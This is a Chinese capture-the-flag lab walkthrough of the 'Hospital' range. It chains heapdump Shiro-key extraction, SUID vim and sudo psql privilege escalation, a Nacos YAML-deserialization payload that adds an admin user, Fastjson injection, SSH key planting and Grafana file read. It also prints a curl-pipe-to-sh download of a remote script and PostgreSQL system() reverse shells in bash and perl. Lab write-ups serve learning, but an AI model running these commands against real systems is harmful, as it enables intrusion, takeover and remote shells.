Hospital
涉及的知识点
heapdump泄露利用
vim.basic的suid提权
nacos弱密码+yaml反序列化漏洞
fastjson
ssh写公钥上线
grafana任意文件读取
PostgreSQL修改密码+反弹shell
psql的sudo提权
前言
前期打靶场的目的主要还是熟悉常规渗透操作,例如上线、内网代理转发、提权等等,因此主要是基于各师傅wp的以学习为主的打靶
flag1
首先fscan扫出heapdump泄露
fscan.exe -h 39.99.144.167 -pn 22(因为怕ssh爆破太长时间,提前让其不检测22端口)
start infoscan
39.99.144.167:8080 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://39.99.144.167:8080 code:302 len:0 title:None 跳转url: http://39.99.144.167:8080/login;jsessionid=221B387F127E46C687F6FB9853161DF3
[*] WebTitle http://39.99.144.167:8080/login;jsessionid=221B387F127E46C687F6FB9853161DF3 code:200 len:2005 title:医疗
管理后台
[+] PocScan http://39.99.144.167:8080 poc-yaml-spring-actuator-heapdump-file
已完成 1/1
[*] 扫描结束,耗时: 31.2868404s
发现shirokey与加密方式
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES
===========================================
注入冰蝎内存马
查看内网网段为172.30.12.5
由于Vshell启在本地,靶机无法直接访问本地地址,使用正向代理连接
非root用户,尝试suid提权
find / -user root -perm -4000 -exec ls -ldb {} \;
本地GTFOBins找vim.md
suid:
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
测试靶机环境有python3,将vim提权命令的py换成python3,也可以将sh换成bash的shell
/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec bash -p")'
flag2
继续在入口机上传fscan扫描内网c段
./fscan -h 172.30.12.1/24 -o res.txt
start infoscan
(icmp) Target 172.30.12.5 is alive
(icmp) Target 172.30.12.6 is alive
(icmp) Target 172.30.12.236 is alive
[*] Icmp alive hosts len is: 3
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.236:8080 open
172.30.12.6:8848 open
172.30.12.5:8080 open
172.30.12.5:10001 open
172.30.12.5:22 open
172.30.12.236:8009 open
[*] alive ports len is: 10
start vulscan
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=3EF3613C1D444262523601F458D9DA34
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=3EF3613C1D444262523601F458D9DA34 code:200 len:2005 title:医疗管理后台
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
发现另外两台机器,172.30.12.6和172.30.12.236,分别称为web2和web3,入口机为web1
首先在web1建socks隧道,但是vshell一键搭建的socks通道无法使用,猜测是权限或者是正向代理的问题,暂未深究
改为gost代理
接着根据fscan结果,在web2发现nacos服务,可以未授权新建账户,也可以nacos/nacos默认密码登录
使用工具探测到可能存在yaml或hessian反序列化漏洞
nacos登录看到Data Id为db-config
db-config可以看到开放了mysql和redis服务,但是fscan没扫到,应该是只能本地访问
server:
port: 8080
servlet:
context-path: /hello
spring:
application:
name: db-config
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8848
config:
server-addr: 127.0.0.1:8848
file-extension: yaml
namespace: dev
group: DEFAULT_GROUP
data-id: db-config.yaml
datasource:
mysql:
url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
username: root
password: P@ssWord!!!
redis:
host: localhost
port: 6379
management:
endpoints:
web:
exposure:
include: '*'
先打yaml反序列化,因为根据fscan结果,web2开放了445、139端口,因此为windows机器(存疑:没扫到3389开放为什么会直接新建管理员用户)
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("net user simho qwe@123 /add");
Runtime.getRuntime().exec("net localgroup administrators simho /add");
} catch (IOException e) {
e.printStackTrace();
}
}
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
Jar包路径需要web2机器可以直接访问,因此先传到web1机器,然后用python3开一个http服务
接着本机使用proxifier开启全局代理,然后rdp连上web2机器,拿到flag2
flag3
发现web2只有一个网口
接着去看web3,发现fastjson服务
通过在bp上传工具插件,一键发包利用
拿到flag3
一刷暂告一段落,目前还要获取web3机器的shell,后面只尝试了上传gost和正向马,但是应该得拿到交互shell才能运行
wget -P /tmp/ http://172.30.12.5:8989/tcp_10002
getshell方式想的是,1、继续尝试使用正向马;2、写入ssh公钥
Hospital(二刷)
主要任务:1、验证gost多级代理;2、尝试多种方法获取web3权限;3、拿到flag4
这次直接在vps开vshell,在入口机(即web1)直接通过一句话命令反向代理上线
(curl -fsSL -m180 http://vps.89.236:8084/slt||wget -T180 -q http://vps:8084/slt)|sh
然后直接来到web3,一刷的时候停留在fastjson命令执行getshell,这次使用插件的inject直接注入哥斯拉内存马,能够成功连接
由于不是交互shell,想在vshell上线,但是尝试使用正向代理马失败,不能在哥斯拉让其挂后台运行
因此尝试写入公钥,首先本地用ssh-keygen
生成公钥和私钥,将公钥后的用户名@主机名
部分删掉,接着尝试在哥斯拉使用echo直接将公钥写到authorized_keys,但是应该是由于长度过长导致命令执行失败,所以最后还是通过在web1上传公钥并开启http服务,在哥斯拉通过wget下载,之后写入到authorized_keys
然后挂上web1的代理,通过密钥连接即可ssh登录,并且是root权限
flag4
发现双网口
上fscan扫
./fscan -h 172.30.54.1/24 -o res.txt
start infoscan
(icmp) Target 172.30.54.179 is alive
(icmp) Target 172.30.54.12 is alive
[*] Icmp alive hosts len is: 2
172.30.54.179:22 open
172.30.54.179:8009 open
172.30.54.179:8080 open
172.30.54.12:5432 open
172.30.54.12:22 open
172.30.54.12:3000 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.12:3000 code:302 len:29 title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909 title:Grafana
发现172.30.54.12机器,称其为web4,上面有grafana服务
通过工具扫描,但是根据其他师傅博客,需要v1.1的版本才能扫到postgres数据库账密,github上已经没有该版本了,但是通过CVE-2021-43798来读取grafana配置文件或者数据库文件应该也能得到,暂未深究(沙砾太贵),直接先拿来用了
./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000
[SW2YcwTIb9zpOOhoPsMm]
postgres / Postgres@123
接着就是连接数据库,涉及到多级代理,尝试了gost配合-F搭建多级但是没成功;最后在web1和web3分别用gost搭建socks代理,然后在proxifier添加代理链将这俩一并放入(之后会尝试学习使用chisel和Stowaway搭建多级代理)
经过测试,本机上可以直接通过http://172.30.54.12:3000/login
访问到grafana服务,接着用navicat连接Postgre数据库
接着就是看其他师傅对PostgreSQL的利用
# 修改root用户密码
ALTER USER root WITH PASSWORD '123456';
# 查看数据库版本
select version();
# PostgreSQL 8.1 及之前版本执行系统命令可以直接使用 Linux 中的 libc.so.6 文件,创建命令执行函数
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
# 使用system函数执行命令(创建函数成功后,执行命令时当返回值为 0 表示执行成功,其它值则是执行失败)
select system('curl 172.30.54.179');
select system('sh -i >& /dev/tcp/172.30.54.179/4444 0>&1');
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
ps:系统上 libc.so.6 文件的路径只能靠试(位置不对创建函数时会报错的),一般为如下几个位置
/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
/lib64/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6
用perl命令反弹shell
sudo -l
发现可以psql提权
在本地GTFOBins搜索pssql.md
sudo:
- code: |
psql
\?
!/bin/sh
首先生成交互shell
python3 -c "import pty;pty.spawn('/bin/bash')"
然后执行
sudo /usr/local/postgresql/bin/psql
password:123456 # 前面已经修改为123456
接着根据sudo提权方式输入\?
和!/bin/bash
root=# \?
Input/Output
!/bin/bash
最后得到web4机器的root权限,获得最后一个flag